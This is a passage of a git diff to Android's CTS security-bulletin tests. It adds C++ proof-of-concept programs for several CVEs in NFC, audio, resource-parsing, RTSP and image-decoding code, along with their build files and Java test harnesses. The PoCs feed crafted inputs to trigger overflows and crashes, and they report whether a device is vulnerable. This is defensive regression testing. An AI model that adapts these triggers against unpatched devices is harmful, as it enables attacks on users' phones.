1; p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES; uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; rw_t2t_handle_rsp(data); + isTestInProgress = false; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp new file mode 100644 index 00000000000..31fbfd2eaac --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2020-0458", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libaudiospdif", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp new file mode 100644 index 00000000000..dbb4ee51559 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp @@ -0,0 +1,75 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include <audio_utils/spdif/SPDIFEncoder.h> +#include "../includes/common.h" + +// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder" +class PocSPDIFEncoder : public android::SPDIFEncoder { + public: + + explicit PocSPDIFEncoder(audio_format_t format) + : SPDIFEncoder(format) { + } + + PocSPDIFEncoder() = default; + + size_t getBurstBufferSizeBytes() const { + return mBurstBufferSizeBytes; + } + + size_t getByteCursor() const { + return mByteCursor; + } + + android::FrameScanner *getFramer() const { + return mFramer; + } + + size_t getPayloadBytesPending() const { + return mPayloadBytesPending; + } + + ssize_t writeOutput(const void*, size_t numBytes) override { + mOutputSizeBytes = numBytes; + return numBytes; + } + + size_t mOutputSizeBytes = 0; +}; + +int main() { + PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3); + + // Beginning of the file channelcheck_48k6ch.eac3 with frame size + // forced to zero + uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E, + 0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, + 0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9, + 0xE7 }; + encoder.write(buf, sizeof(buf)); + + size_t bufferSize = encoder.getBurstBufferSizeBytes(); + + // If vulnerability is present, 'mPayloadBytesPending' will be assigned + // a large overflowed value + size_t pendingBytes = encoder.getPayloadBytesPending(); + + // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending', + // this will happen if 'mPayloadBytesPending' holds a overflowed value + return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp index bcbf54fe555..6595bcc8af4 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp @@ -20,7 +20,7 @@ package { } cc_test { - name: "CVE-2020-29368", + name: "CVE-2020-29374", defaults: ["cts_hostsidetests_securitybulletin_defaults"], srcs: ["poc.cpp",], } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp index 1b3528cd24a..1b3528cd24a 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp index 700935ce0af..5033b2e6103 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp index 947f46a2007..bb3bdc20f4d 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,74 +14,116 @@ * limitations under the License. */ +#include <../includes/common.h> +#include <../includes/memutils.h> #include <nfc_int.h> #include <rw_int.h> #define RW_MFC_STATE_READ_NDEF 0x03 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03 +#define RW_MFC_DATA_LEN 0x10 +#define P_MFC_NDEF_LENGTH 1024 extern tRW_CB rw_cb; +tNFC_CONN *p_data = nullptr; +tRW_MFC_CB *p_mfc = nullptr; -void GKI_freebuf(void*) { -} +char enable_selective_overload = ENABLE_NONE; -void GKI_start_timer(uint8_t, int32_t, bool) { +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); } -void GKI_stop_timer(uint8_t) { +void GKI_freebuf(void *) {} + +void GKI_start_timer(uint8_t, int32_t, bool) {} + +void GKI_stop_timer(uint8_t) {} + +void cback(tRW_EVENT, tRW_DATA *) {} + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void)event; + (void)p_rw_data; } -void cback(tRW_EVENT, tRW_DATA*) { +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } + + if (p_mfc) { + if (p_mfc->p_ndef_buffer) { + free(p_mfc->p_ndef_buffer); + p_mfc->p_ndef_buffer = nullptr; + } + free(p_mfc); + p_mfc = nullptr; + } } int main() { - tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc; + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + p_mfc = &rw_cb.tcb.mfc; GKI_init(); rw_init(); uint8_t selres = 1; - uint8_t uid[MFC_UID_LEN] = { 1 }; - if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) { - return EXIT_FAILURE; - } + uint8_t uid[MFC_UID_LEN] = {1}; + + enable_selective_overload = ENABLE_MALLOC_CHECK; + FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK); p_mfc->state = RW_MFC_STATE_READ_NDEF; p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK; - tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; - tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN)); - if (!p_data) { - return EXIT_FAILURE; - } + p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); - p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16); - if (!(p_data->data.p_data)) { - free(p_data); - return EXIT_FAILURE; - } + p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16); + FAIL_CHECK(p_data->data.p_data); p_data->data.status = NFC_STATUS_OK; tNFC_CONN_EVT event = NFC_DATA_CEVT; - NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data; - mfc_data->len = 0x10; + NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data; + mfc_data->len = RW_MFC_DATA_LEN; mfc_data->offset = 0; - p_mfc->ndef_length = 1024; - p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16); - if (!(p_mfc->p_ndef_buffer)) { - free(p_data->data.p_data); - free(p_data); - return EXIT_FAILURE; - } + p_mfc->ndef_length = P_MFC_NDEF_LENGTH; + p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(p_mfc->p_ndef_buffer); rw_cb.p_cback = cback; + isTestInProgress = true; p_cb->p_cback(0, event, p_data); + isTestInProgress = false; - free(p_mfc->p_ndef_buffer); - free(p_data->data.p_data); - free(p_data); return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp new file mode 100644 index 00000000000..8fd68012c9c --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39664", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + shared_libs: [ + "libandroidfw", + "libui", + ], + cflags: [ + "-DCHECK_OVERFLOW", + "-DENABLE_SELECTIVE_OVERLOADING", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp new file mode 100644 index 00000000000..0c477f6eb18 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp @@ -0,0 +1,65 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <androidfw/ApkAssets.h> + +#include <vector> +#include "../includes/common.h" +#include "../includes/memutils.h" + +using android::LoadedArsc; + +bool testInProgress = false; +char enable_selective_overload = ENABLE_NONE; +FILE *file = nullptr; + +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + +void exitHandler(void) { + if (file) { + fclose(file); + file = nullptr; + } +} + +int main(int argc, char **argv) { + atexit(exitHandler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + FAIL_CHECK(argc >= 2); + file = fopen(argv[1], "r"); + FAIL_CHECK(file); + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + enable_selective_overload = ENABLE_ALL; + std::vector<uint8_t> buffer(size); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size); + testInProgress = true; + LoadedArsc::Load(buffer.data(), size); + testInProgress = false; + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp new file mode 100644 index 00000000000..0597cdfa9c1 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39665", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults" + ], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libutils", + "libmediaplayerservice", + "libstagefright_foundation", + ], + include_dirs: [ + "frameworks/av/media/libstagefright/rtsp", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp new file mode 100644 index 00000000000..a0080058784 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp @@ -0,0 +1,84 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <dlfcn.h> +#include "../includes/common.h" + +#define private public +#include "AAVCAssembler.h" + +using namespace android; + +bool isOverloadingEnabled = false; + +bool isTestInProgress = false; + +struct sigaction newAction, oldAction; + +static void *(*realMalloc)(size_t) = nullptr; + +void *malloc(size_t size) { + if (!realMalloc) { + realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc"); + if (!realMalloc) { + return nullptr; + } + } + if (isOverloadingEnabled && (size == 0)) { + size_t pageSize = sysconf(_SC_PAGE_SIZE); + void *ptr = memalign(pageSize, pageSize); + mprotect(ptr, pageSize, PROT_NONE); + return ptr; + } + return realMalloc(size); +} + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*oldAction.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + +int main() { + sigemptyset(&newAction.sa_mask); + newAction.sa_flags = SA_SIGINFO; + newAction.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &newAction, &oldAction); + + sp<ABuffer> buffer(new ABuffer(16)); + FAIL_CHECK(buffer != nullptr); + + sp<AMessage> meta = buffer->meta(); + FAIL_CHECK(meta != nullptr); + + uint32_t rtpTime = 16; + meta->setInt32("rtp-time", rtpTime); + + AAVCAssembler *assembler = new AAVCAssembler(meta); + FAIL_CHECK(assembler != nullptr); + + isOverloadingEnabled = true; + sp<ABuffer> zeroSizedBuffer(new ABuffer(0)); + isOverloadingEnabled = false; + + isTestInProgress = true; + assembler->checkSpsUpdated(zeroSizedBuffer); + isTestInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp new file mode 100644 index 00000000000..b4bdd3c07f0 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39675", + compile_multilib: "64", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp new file mode 100644 index 00000000000..78ebda8c62b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp @@ -0,0 +1,22 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include "gki.h" + +int main() { + return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp new file mode 100644 index 00000000000..109a665d75a --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp @@ -0,0 +1,34 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39804", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libbinder", + "libjnigraphics", + "libutils", + "libui", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp new file mode 100644 index 00000000000..db09dee2565 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp @@ -0,0 +1,59 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// This PoC is written taking reference from +// frameworks/base/native/graphics/jni/imagedecoder.cpp + +#include "../includes/common.h" +#include <android/imagedecoder.h> +#include <binder/IPCThreadState.h> +#include <vector> + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +int main(int argc, char **argv) { + FAIL_CHECK(argc >= 2); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + android::ProcessState::self()->startThreadPool(); + FILE *file = fopen(argv[1], "r"); + FAIL_CHECK(file); + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + std::vector<uint8_t> buffer(size); + fread((void *)buffer.data(), 1, size, file); + fclose(file); + testInProgress = true; + AImageDecoder *decoder; + if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) == + ANDROID_IMAGE_DECODER_SUCCESS) { + AImageDecoder_delete(decoder); + } + testInProgress = false; + FAIL_CHECK(decoder); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java index 63a5370188f..75bbd0ac298 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java @@ -23,10 +23,10 @@ import org.junit.Test; import org.junit.Before; import org.junit.runner.RunWith; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183613671 extends BaseHostJUnit4Test { +public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.BUG_183613671"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183613671.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java index e31cb479c0e..adf6103043a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java @@ -25,10 +25,10 @@ import org.junit.Before; import org.junit.runner.RunWith; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183963253 extends BaseHostJUnit4Test { +public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.BUG_183963253"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183963253.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java index 31da488db56..b127c851d70 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,14 +14,19 @@ * limitations under the License. */ + package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; -import com.android.tradefed.device.ITestDevice; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.Test; + +import java.util.regex.Pattern; + import org.junit.runner.RunWith; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2018_9558 extends SecurityTestCase { @@ -29,16 +34,23 @@ public class CVE_2018_9558 extends SecurityTestCase { /** * b/112161557 * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 112161557) public void testPocCVE_2018_9558() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); + String signals[] = {CrashUtils.SIGABRT}; String binaryName = "CVE-2018-9558"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); - testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t2t_handle_tlv_detect_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); testConfig.config.setSignals(signals); AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java new file mode 100644 index 00000000000..181d660df48 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2012 extends SecurityTestCase { + + /** + * b/120497437 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t3t_update_block (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 120497437) + @Test + public void testPocCVE_2019_2012() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2019-2012"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes( + new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java new file mode 100644 index 00000000000..b7c2ea8fab3 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2017 extends SecurityTestCase { + + 